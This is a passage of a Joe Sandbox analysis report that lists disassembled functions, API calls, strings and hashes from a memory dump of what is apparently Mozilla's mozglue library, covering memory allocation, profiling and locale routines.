Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 2a68721bfaa8e7b709f53d2847900d699ad40fcf4c1b8e3b5eed4650bc069330
Instruction ID: 6daefe3bf2379c1b41a40a69757f2ed44dc9c9215d8dcfffa6fad5e915e2f03b
Opcode Fuzzy Hash: 2a68721bfaa8e7b709f53d2847900d699ad40fcf4c1b8e3b5eed4650bc069330
Instruction Fuzzy Hash: 6B31F871E0434897DF01DB69CC449FEB778EF96208F44D229ED4957612FB31A988C398

Function 6C5E3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C5E3EEE
RtlFreeHeap.NTDLL ref: 6C5E3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C5E4006
RtlFreeHeap.NTDLL ref: 6C5E40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5E3CCC), ref: 6C5E40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5E3CCC), ref: 6C5E40C2
RtlFreeHeap.NTDLL ref: 6C5E4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C5E3CCC), ref: 6C5E4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C5E3CCC), ref: 6C5E4157

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: a3e0fbc1aeaf056e90d2d976f1af2e92f4fee5dddf0c9c8327520c02cda12405
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: E3A18FB1A00215CFDB40CF68C880659B7F5FF8C318F2585A9D919AF752D772E886CBA0

Function 6C5D2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C5F3F47,?,?,?,6C5F3F47,6C5F1A70,?), ref: 6C5D207F
memset.VCRUNTIME140(?,000000E5,6C5F3F47,?,6C5F3F47,6C5F1A70,?), ref: 6C5D20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C5F3F47,6C5F1A70,?), ref: 6C5D211A
EnterCriticalSection.KERNEL32(6C65E744,?,6C5F3F47,6C5F1A70,?), ref: 6C5D2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C5F3F47,6C5F1A70,?), ref: 6C5D21BA
EnterCriticalSection.KERNEL32(6C65E744,?,6C5F3F47,6C5F1A70,?), ref: 6C5D21E0
LeaveCriticalSection.KERNEL32(6C65E744,?,6C5F3F47,6C5F1A70,?), ref: 6C5D2232

Strings

MOZ_CRASH(), xrefs: 6C5D227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C5D2253, 6C5D2268

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 5e89fb87f2b27cf1cfa3815f4e9552e8df2a60b8310b252b6c3c76e670b15cfb
Instruction ID: 1a32f1a7452bde67bbcd5f509093435ca48a18dff3d710510aafe973839fcbb9
Opcode Fuzzy Hash: 5e89fb87f2b27cf1cfa3815f4e9552e8df2a60b8310b252b6c3c76e670b15cfb
Instruction Fuzzy Hash: 3961C431F013168FCB04CEADCD8976E76B1AF85318F6A8539E525A7B94E770AC00C799

Function 6C629D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C628273), ref: 6C629D65
free.MOZGLUE(6C628273,?), ref: 6C629D7C
free.MOZGLUE(?,?), ref: 6C629D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C629E0F
free.MOZGLUE(6C62946B,?,?), ref: 6C629E24
free.MOZGLUE(?,?,?), ref: 6C629E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C629EC8
free.MOZGLUE(6C62946B,?,?,?), ref: 6C629EDF
free.MOZGLUE(?,?,?,?), ref: 6C629EF5

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 5d141aee42f8c1154796d9e2e23562edd1078d788eb338edd3e5fabbb475a7e0
Instruction ID: e92143d601f4e33e888a683d0d706c4ab2d534824c9a275faa4438dbfc869fb7
Opcode Fuzzy Hash: 5d141aee42f8c1154796d9e2e23562edd1078d788eb338edd3e5fabbb475a7e0
Instruction Fuzzy Hash: C771BE70909B41CBC716CF18C88055AF7F5FFD9318B809A59E99A5BB01EB30E886CF81

Function 6C62DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C62DDCF

Part of subcall function 6C60FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C60FA4B

Part of subcall function 6C6290E0: free.MOZGLUE(?,00000000,?,?,6C62DEDB), ref: 6C6290FF
Part of subcall function 6C6290E0: free.MOZGLUE(?,00000000,?,?,6C62DEDB), ref: 6C629108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C62DE0D
free.MOZGLUE(00000000), ref: 6C62DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C62DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C62DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C62DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C61DEFD,?,6C5E4A68), ref: 6C62DF32

Part of subcall function 6C62DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C62DB86
Part of subcall function 6C62DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C62DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C61DEFD,?,6C5E4A68), ref: 6C62DF65
free.MOZGLUE(?), ref: 6C62DF80

Part of subcall function 6C5F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
Part of subcall function 6C5F5E90: memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
Part of subcall function 6C5F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 22314e3db5143f6fa7167c526437430d82270389a31a800d9f90b5e8a20b0319
Instruction ID: 84673341253f0ce5c9103d1259b7aa0491cdf0cea04f70ca848b03d34337e562
Opcode Fuzzy Hash: 22314e3db5143f6fa7167c526437430d82270389a31a800d9f90b5e8a20b0319
Instruction Fuzzy Hash: 1251C5726016019BD720DB28C8806EEB3B2BFD6308F95451CD99A53B00D739F91ACF8E

Function 6C635D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635DC9
std::_Facet_Register.LIBCPMT ref: 6C635DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635E45

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 9e98bfeade210b84deb3c76ef6abedc088370e1b1dd642fab251f4f73ab9cdee
Instruction ID: 0f614f6ce7983ee76c808223fd4fe8afe700b2de1f336471ab415d64ed617857
Opcode Fuzzy Hash: 9e98bfeade210b84deb3c76ef6abedc088370e1b1dd642fab251f4f73ab9cdee
Instruction Fuzzy Hash: F5416C307002159FCB04DF66C8D8AAE77F5EF89318F545168E50A9B791EB34E805CBAD

Function 6C60CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5D31A7), ref: 6C60CDDD

Strings

<jemalloc>, xrefs: 6C60CF9F, 6C60CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C60CFA4, 6C60CFB8

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 1eb2a61420fc0e89842d5f827330b60f09bdaa22fa024cf4a8ea58d845c73b3b
Instruction ID: 973a96298734e7b0bef77ef334e780561bb1ca0ae2168f629a6c4a96bf8108ee
Opcode Fuzzy Hash: 1eb2a61420fc0e89842d5f827330b60f09bdaa22fa024cf4a8ea58d845c73b3b
Instruction Fuzzy Hash: 6F31A4307402056BEF18AFA98D85BAE7B75AF81758F704014F612BBA80DB70D501CBBE

Function 6C5DECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DF100: LoadLibraryW.KERNEL32(shell32,?,6C64D020), ref: 6C5DF122
Part of subcall function 6C5DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5DF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C5DED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5DEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C5DEDCC
CreateFileW.KERNEL32 ref: 6C5DEE08
free.MOZGLUE(00000000), ref: 6C5DEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C5DEE32

Part of subcall function 6C5DEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C5DEBB5
Part of subcall function 6C5DEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C60D7F3), ref: 6C5DEBC3
Part of subcall function 6C5DEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C60D7F3), ref: 6C5DEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C5DEDC1

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 0c1ead24e0fbe7ed0fd6519ad3422a38af6a8d777d4cfd3c39c69cb08cf8cfee
Instruction ID: b16a77972cfc94c6aae75c994df6a28742b7824e567fd348577d68d48020b852
Opcode Fuzzy Hash: 0c1ead24e0fbe7ed0fd6519ad3422a38af6a8d777d4cfd3c39c69cb08cf8cfee
Instruction Fuzzy Hash: E351BF71D05305CBDB00EF69CC806AEF7B1EF49318F45892DD8556B740EB70B9488BAA

Function 6C64A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C64A565

Part of subcall function 6C64A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64A4BE
Part of subcall function 6C64A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C64A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C64A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C64A6B6

Strings

z, xrefs: 6C64A6AE
0, xrefs: 6C64A5FB

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: c3921916b56788db1bf5e0d8df5e33da266daa9e62dc192df2b27fe188fde355
Instruction ID: 24cbc72bd3d5390b5212edcceff619912e7f5c7f65775dc0a55415a0ae2abf42
Opcode Fuzzy Hash: c3921916b56788db1bf5e0d8df5e33da266daa9e62dc192df2b27fe188fde355
Instruction Fuzzy Hash: D8413771908745AFC341DF28C480A8FBBE5BF8A354F50CA2EF49987651EB30E549CB86

Function 6C619420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
__Init_thread_footer.LIBCMT ref: 6C61949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C619459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C61947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C61946B

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 053abd58d5580ae8042e636ee053eb9b44cd2b358935aec1a55b0456c535681f
Instruction ID: c007017edff905cf0b2949cc2b812e04e40c196ad86ae241fd1f0955dd370340
Opcode Fuzzy Hash: 053abd58d5580ae8042e636ee053eb9b44cd2b358935aec1a55b0456c535681f
Instruction Fuzzy Hash: 0301D870B041018BD700DB5FDD51A9A33759F0A32EF644536DD0BC6F52D722D465895F

Function 6C620F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C620F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C620F88
GetCurrentThreadId.KERNEL32 ref: 6C620FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C621067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C6210A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C62114B

Part of subcall function 6C618AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C631563), ref: 6C618BD5

free.MOZGLUE(?), ref: 6C621174
free.MOZGLUE(?), ref: 6C621186

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 002765d1b538b3b54cb73c13da14bd187881bd523c75311d74a214280cbe11e2
Instruction ID: cde7b7e2b0aad6b6e2308db409b2f7c31a7aee1bd8ab1bd9f466fdd63afdb35e
Opcode Fuzzy Hash: 002765d1b538b3b54cb73c13da14bd187881bd523c75311d74a214280cbe11e2
Instruction Fuzzy Hash: E561D475A083409BDB10CF25C880B9AB7F5BFCA308F54891DE98957711DB35E849CF8A

Function 6C5DB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB6AC

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C5DB61E), ref: 6C5DB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB79A

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 9d3143ad546097b6b7f0224d05b166680fdf5310aace739ae972ca6783f6ea42
Instruction ID: f973d5a1bf15b3c4ea8f3b830fa7fd625e232a04d1dea47779d48892fb9e9a0c
Opcode Fuzzy Hash: 9d3143ad546097b6b7f0224d05b166680fdf5310aace739ae972ca6783f6ea42
Instruction Fuzzy Hash: 8641B5B2D002159FCB04DF6CDC805AEB7B6BB85324F264669E825E7780E731ED0487D9

Function 6C5DEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C655104), ref: 6C5DEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5DEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5DEFEC
free.MOZGLUE(?), ref: 6C5DF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5DF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C5DF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5DF065
moz_xmalloc.MOZGLUE ref: 6C5DF072

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: ebf9dd33cf1ae09fffd348af18198f878681bc92f27d1791c0bdcc21f6542bf1
Instruction ID: f23d9d9d5f9400cc1da59986e73914e8f68a1d3179fde0f4ebea1932d8f0c03e
Opcode Fuzzy Hash: ebf9dd33cf1ae09fffd348af18198f878681bc92f27d1791c0bdcc21f6542bf1
Instruction Fuzzy Hash: 8441F8B1A002059FCB08CF6CDC805AE7765FF85314B254728E916DB794EB71E905C7E5

Function 6C64B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C64B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C64B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C64B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C64B5F4
__Init_thread_footer.LIBCMT ref: 6C64B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C64B61F
std::_Facet_Register.LIBCPMT ref: 6C64B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C64B655

Memory Dump Source

